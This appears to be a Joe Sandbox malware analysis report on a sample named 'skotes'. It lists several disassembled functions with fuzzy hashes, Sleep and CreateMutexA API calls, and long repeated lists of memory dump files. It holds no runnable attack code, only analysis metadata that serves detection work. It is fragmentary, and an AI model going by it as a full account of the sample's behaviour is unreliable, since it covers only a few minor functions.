Opcode Fuzzy Hash: 239e729c941b74d4dff653fd535e8f39b4549cf7c50dfe47201200cfab57a28e
Instruction Fuzzy Hash: C4314E716042048BEB08DF78EC857AEF7A6EBCA314F245218E014FB3D6C775A981C751

Function 00EA9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EAA963
CreateMutexA.KERNELBASE(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000007.00000002.2639109096.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000007.00000002.2639080519.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639109096.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639189643.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639218324.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639248486.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639355797.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639386701.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639419446.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639446286.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639529094.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639557976.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639586193.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639614035.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639641913.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639669339.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639696430.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639724723.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639755747.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639782889.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639811627.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639842058.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639880313.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639910141.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639936866.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639964135.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639992276.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640019488.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640046552.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640073692.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640104832.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640132481.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640159881.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640188427.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640215482.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640242971.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640271288.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640300965.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640328328.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640356001.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640383758.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640415630.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640448169.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640475569.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640511871.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640603441.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640633497.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640663085.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640691846.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640722421.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640753280.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640781473.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a6eacbc7fda8dd498e3471d64602815478c7383d1a9c89fe7ede8d496241cd92
Instruction ID: 9f0c0c711667e11943c67525511d71769e8a2ed2063e16b1d7bf8cbc4f8a289f
Opcode Fuzzy Hash: a6eacbc7fda8dd498e3471d64602815478c7383d1a9c89fe7ede8d496241cd92
Instruction Fuzzy Hash: 013129317042048FEB189F68DC847ADB7A2EBCA314F245228E014FF3D5D776A981C751

Function 00EAA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EAA963
CreateMutexA.KERNELBASE(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000007.00000002.2639109096.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000007.00000002.2639080519.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639109096.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639189643.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639218324.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639248486.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639355797.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639386701.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639419446.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639446286.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639529094.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639557976.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639586193.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639614035.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639641913.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639669339.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639696430.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639724723.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639755747.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639782889.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639811627.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639842058.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639880313.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639910141.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639936866.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639964135.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639992276.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640019488.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640046552.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640073692.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640104832.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640132481.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640159881.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640188427.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640215482.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640242971.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640271288.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640300965.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640328328.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640356001.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640383758.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640415630.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640448169.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640475569.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640511871.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640603441.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640633497.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640663085.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640691846.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640722421.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640753280.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640781473.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e4f28ef7297877673c05ab1337acb534b385c1e6f768770c1062e72ae17c0059
Instruction ID: 52849c9f5aeb1667a2375cff547ed4d1312a026bdcdb176b2dfd1da86e365e20
Opcode Fuzzy Hash: e4f28ef7297877673c05ab1337acb534b385c1e6f768770c1062e72ae17c0059
Instruction Fuzzy Hash: 29314A716053009BEB189F78DCC47ADB7A2EBCA314F285228E014BB3D5C776A981C752

Function 00EAA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EAA963
CreateMutexA.KERNELBASE(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000007.00000002.2639109096.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000007.00000002.2639080519.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639109096.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639189643.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639218324.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639248486.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639355797.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639386701.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639419446.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639446286.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639529094.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639557976.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639586193.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639614035.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639641913.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639669339.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639696430.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639724723.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639755747.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639782889.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639811627.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639842058.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639880313.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639910141.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639936866.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639964135.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639992276.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640019488.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640046552.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640073692.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640104832.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640132481.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640159881.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640188427.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640215482.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640242971.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640271288.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640300965.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640328328.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640356001.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640383758.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640415630.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640448169.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640475569.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640511871.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640603441.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640633497.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640663085.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640691846.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640722421.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640753280.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640781473.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d396a58e21b17ca7e04389bc4a6e4f6d8ca8badb9441c0d4a1d719ff25a03a6d
Instruction ID: 978a0aa8a1cf158490bd5fd9acb96ff037b5113ab158512deabf9158a5700266
Opcode Fuzzy Hash: d396a58e21b17ca7e04389bc4a6e4f6d8ca8badb9441c0d4a1d719ff25a03a6d
Instruction Fuzzy Hash: 7C314C716053009FFB189F68DC887ADB7A2EBCB314F285228E014BB3D5D7766981C722

Function 00EAA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EAA963
CreateMutexA.KERNELBASE(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000007.00000002.2639109096.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000007.00000002.2639080519.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639109096.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639189643.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639218324.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639248486.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639355797.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639386701.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639419446.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639446286.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639529094.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639557976.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639586193.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639614035.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639641913.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639669339.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639696430.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639724723.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639755747.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639782889.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639811627.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639842058.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639880313.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639910141.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639936866.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639964135.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639992276.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640019488.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640046552.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640073692.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640104832.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640132481.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640159881.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640188427.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640215482.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640242971.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640271288.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640300965.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640328328.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640356001.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640383758.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640415630.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640448169.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640475569.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640511871.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640603441.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640633497.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640663085.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640691846.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640722421.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640753280.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640781473.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2b5c7ee87eabf8bdc346b036a13027e28d3addc38425718664a3fc3e46df3f2e
Instruction ID: ca264a8c846318b6d25c0631da85e8ffe47d90983ae321719696c64d00ec3bc2
Opcode Fuzzy Hash: 2b5c7ee87eabf8bdc346b036a13027e28d3addc38425718664a3fc3e46df3f2e
Instruction Fuzzy Hash: 46311B316043009BEB189FB8DC897ADF7A5EFCA314F285229F024BB3D5DB756981C652

Function 00EAA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EAA963
CreateMutexA.KERNELBASE(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000007.00000002.2639109096.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000007.00000002.2639080519.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639109096.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639189643.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639218324.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639248486.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639355797.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639386701.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639419446.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639446286.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639529094.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639557976.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639586193.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639614035.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639641913.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639669339.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639696430.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639724723.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639755747.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639782889.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639811627.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639842058.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
